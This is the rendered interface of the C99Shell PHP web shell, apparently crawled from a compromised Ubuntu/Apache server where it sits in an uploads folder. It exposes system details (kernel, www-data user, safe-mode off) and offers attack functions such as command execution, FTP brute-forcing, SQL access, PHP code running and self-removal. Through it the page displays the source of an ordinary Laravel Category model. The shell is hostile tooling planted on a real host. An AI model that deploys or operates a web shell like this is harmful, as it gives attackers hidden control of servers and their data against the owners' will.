!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/   drwxr-xr-x
Free 13.27 GB of 57.97 GB (22.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Category.php (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App;

use 
Illuminate\Database\Eloquent\Model;
use 
Auth;
use 
App\Attribute;
class 
Category extends Model
{
    public function 
posts()
    {
        return 
$this->hasMany('App\Postcategory');
    }

    public function 
categories()
    {
        return 
$this->hasMany(Category::class,'p_id','id');
    }

    public function 
parent()
    {
        return 
$this->hasOne(Category::class,'id','p_id');
    }

    public function 
childrenCategories()
    {
        return 
$this->hasMany(Category::class,'p_id','id')->with('categories');
    }

    public function 
featured_child_attribute()
    {
        return 
$this->hasOne(Category::class,'p_id','id')->where('featured',1);
    }

    public function 
featured_child_with_post_count_attribute()
    {
        return 
$this->hasMany(Category::class,'p_id','id')->where('featured',1)->withCount('variations');
    }

    public function 
variations(){
        return 
$this->hasMany('App\Attribute','variation_id','id');
    }

    public function 
parent_variation(){
        return 
$this->hasMany('App\Attribute','category_id','id');
    }


    public function 
parent_relation()
    {
        return 
$this->hasMany(Categoryrelation::class,'category_id','id');
    }
    public function 
child_relation()
    {
         return 
$this->belongsToMany(Category::class,Categoryrelation::class,'relation_id');
        
    }

    public function 
gateway_users()
    {
        return 
$this->hasMany('App\Getway');
    }

    public function 
preview()
    {
        return 
$this->hasOne('App\Categorymeta')->where('type','preview')->select('category_id','type','content');
    }
    public function 
description()
    {
        return 
$this->hasOne('App\Categorymeta')->where('type','description')->select('category_id','type','content');
    }

    public function 
credentials()
    {
        return 
$this->hasOne('App\Categorymeta')->where('type','credentials')->select('category_id','type','content');
    }

    public function 
excerpt()
    {
        return 
$this->hasOne('App\Categorymeta')->where('type','excerpt')->select('category_id','type','content');
    }


    public function 
active_getway()
    {
        return 
$this->hasOne('App\Getway')->where('user_id',Auth::id());
    }

    public function 
attributes()
    {
        return 
$this->hasMany('App\Attribute');
    }

    public function 
take_20_product()
    {
        return 
$this->belongsToMany('App\Term','postcategories')->with('preview','attributes')->take(15);
    }




}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0363 ]--